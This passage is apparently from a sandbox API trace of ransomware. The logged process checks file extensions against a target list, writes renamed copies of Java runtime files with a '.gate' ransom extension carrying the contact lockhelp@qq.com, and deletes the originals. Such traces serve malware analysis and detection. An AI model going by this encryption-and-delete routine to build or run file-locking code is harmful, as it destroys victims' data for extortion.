lpString2=".src") returned 1 [0294.457] lstrlenW (lpString=".rar") returned 4 [0294.457] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString=".bz2") returned 4 [0294.457] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString=".7z") returned 3 [0294.457] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.457] lstrlenW (lpString=".dbf") returned 4 [0294.457] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.457] lstrlenW (lpString=".1cd") returned 4 [0294.457] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.457] lstrlenW (lpString=".jpg") returned 4 [0294.457] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0294.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.458] lstrlenW (lpString=".doc") returned 4 [0294.458] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString=".docx") returned 5 [0294.458] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0294.458] lstrlenW (lpString=".pdf") returned 4 [0294.458] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString=".xls") returned 4 [0294.458] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0294.458] lstrlenW (lpString=".xlsx") returned 5 [0294.458] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0294.458] lstrlenW (lpString=".ppt") returned 4 [0294.458] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.458] lstrlenW (lpString=".zip") returned 4 [0294.458] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0294.458] lstrlenW (lpString=".rar") returned 4 [0294.458] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString=".bz2") returned 4 [0294.458] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString=".7z") returned 3 [0294.458] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0294.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.458] lstrlenW (lpString=".dbf") returned 4 [0294.458] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.458] lstrlenW (lpString=".1cd") returned 4 [0294.458] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0294.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0294.458] lstrlenW (lpString=".jpg") returned 4 [0294.458] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0294.459] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.459] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0294.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.474] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=344908) returned 1 [0294.474] CloseHandle (hObject=0x4f0) returned 1 [0294.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0294.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.478] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.478] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.478] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0294.479] GetLastError () returned 0x0 [0294.479] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0294.664] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x54350, lpOverlapped=0x0) returned 1 [0294.670] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.670] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x102, lpOverlapped=0x0) returned 1 [0294.670] SetEndOfFile (hFile=0x4f4) returned 1 [0294.670] CloseHandle (hObject=0x4f4) returned 1 [0294.670] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.670] SetEndOfFile (hFile=0x4f0) returned 1 [0294.677] CloseHandle (hObject=0x4f0) returned 1 [0294.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.677] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0294.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.678] lstrlenW (lpString=".doc") returned 4 [0294.678] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.678] lstrlenW (lpString=".docx") returned 5 [0294.678] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0294.678] lstrlenW (lpString=".pdf") returned 4 [0294.678] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.678] lstrlenW (lpString=".xls") returned 4 [0294.678] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.678] lstrlenW (lpString=".xlsx") returned 5 [0294.678] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0294.678] lstrlenW (lpString=".ppt") returned 4 [0294.678] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.678] lstrlenW (lpString=".zip") returned 4 [0294.678] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.678] lstrlenW (lpString=".rar") returned 4 [0294.678] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString=".bz2") returned 4 [0294.679] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString=".7z") returned 3 [0294.679] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.679] lstrlenW (lpString=".dbf") returned 4 [0294.679] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.679] lstrlenW (lpString=".1cd") returned 4 [0294.679] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.679] lstrlenW (lpString=".jpg") returned 4 [0294.679] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.679] lstrlenW (lpString=".doc") returned 4 [0294.679] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString=".docx") returned 5 [0294.679] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0294.679] lstrlenW (lpString=".pdf") returned 4 [0294.679] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString=".xls") returned 4 [0294.679] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.679] lstrlenW (lpString=".xlsx") returned 5 [0294.679] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0294.679] lstrlenW (lpString=".ppt") returned 4 [0294.679] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.679] lstrlenW (lpString=".zip") returned 4 [0294.679] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.679] lstrlenW (lpString=".rar") returned 4 [0294.679] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.679] lstrlenW (lpString=".bz2") returned 4 [0294.680] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.680] lstrlenW (lpString=".7z") returned 3 [0294.680] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.680] lstrlenW (lpString=".dbf") returned 4 [0294.680] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.680] lstrlenW (lpString=".1cd") returned 4 [0294.680] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0294.680] lstrlenW (lpString=".jpg") returned 4 [0294.680] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.680] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.680] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0294.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.680] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=234068) returned 1 [0294.680] CloseHandle (hObject=0x4f0) returned 1 [0294.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0294.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.681] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.681] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0294.682] GetLastError () returned 0x0 [0294.682] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x39254, lpOverlapped=0x0) returned 1 [0294.827] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x39260, lpOverlapped=0x0) returned 1 [0294.830] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.830] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x104, lpOverlapped=0x0) returned 1 [0294.830] SetEndOfFile (hFile=0x4f4) returned 1 [0294.844] CloseHandle (hObject=0x4f4) returned 1 [0294.855] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.855] SetEndOfFile (hFile=0x4f0) returned 1 [0294.873] CloseHandle (hObject=0x4f0) returned 1 [0294.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.874] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0294.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.874] lstrlenW (lpString=".doc") returned 4 [0294.874] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.874] lstrlenW (lpString=".docx") returned 5 [0294.874] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0294.874] lstrlenW (lpString=".pdf") returned 4 [0294.874] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.874] lstrlenW (lpString=".xls") returned 4 [0294.874] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.874] lstrlenW (lpString=".xlsx") returned 5 [0294.874] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0294.874] lstrlenW (lpString=".ppt") returned 4 [0294.874] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.874] lstrlenW (lpString=".zip") returned 4 [0294.874] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.874] lstrlenW (lpString=".rar") returned 4 [0294.875] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString=".bz2") returned 4 [0294.875] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString=".7z") returned 3 [0294.875] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.875] lstrlenW (lpString=".dbf") returned 4 [0294.875] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.875] lstrlenW (lpString=".1cd") returned 4 [0294.875] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.875] lstrlenW (lpString=".jpg") returned 4 [0294.875] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.875] lstrlenW (lpString=".doc") returned 4 [0294.875] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString=".docx") returned 5 [0294.875] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0294.875] lstrlenW (lpString=".pdf") returned 4 [0294.875] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString=".xls") returned 4 [0294.875] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.875] lstrlenW (lpString=".xlsx") returned 5 [0294.875] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0294.875] lstrlenW (lpString=".ppt") returned 4 [0294.875] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.875] lstrlenW (lpString=".zip") returned 4 [0294.875] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.875] lstrlenW (lpString=".rar") returned 4 [0294.875] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.876] lstrlenW (lpString=".bz2") returned 4 [0294.876] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.876] lstrlenW (lpString=".7z") returned 3 [0294.876] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.876] lstrlenW (lpString=".dbf") returned 4 [0294.876] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.876] lstrlenW (lpString=".1cd") returned 4 [0294.876] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0294.876] lstrlenW (lpString=".jpg") returned 4 [0294.876] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.876] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0294.876] lstrlenW (lpString="cursors.properties") returned 18 [0294.876] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.878] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1280) returned 1 [0294.878] CloseHandle (hObject=0x4f0) returned 1 [0294.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0294.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0294.879] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.879] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0295.754] GetLastError () returned 0x0 [0295.754] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x500, lpOverlapped=0x0) returned 1 [0295.770] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x510, lpOverlapped=0x0) returned 1 [0295.771] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.771] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xf8, lpOverlapped=0x0) returned 1 [0295.771] SetEndOfFile (hFile=0x4e8) returned 1 [0295.771] CloseHandle (hObject=0x4e8) returned 1 [0295.771] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.771] SetEndOfFile (hFile=0x4f0) returned 1 [0295.773] CloseHandle (hObject=0x4f0) returned 1 [0295.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0295.774] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0295.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.775] lstrlenW (lpString=".doc") returned 4 [0295.775] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString=".docx") returned 5 [0295.775] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0295.775] lstrlenW (lpString=".pdf") returned 4 [0295.775] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString=".xls") returned 4 [0295.775] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString=".xlsx") returned 5 [0295.775] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0295.775] lstrlenW (lpString=".ppt") returned 4 [0295.775] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0295.775] lstrlenW (lpString=".zip") returned 4 [0295.775] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString=".rar") returned 4 [0295.775] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString=".bz2") returned 4 [0295.775] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0295.775] lstrlenW (lpString=".7z") returned 3 [0295.775] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0295.775] 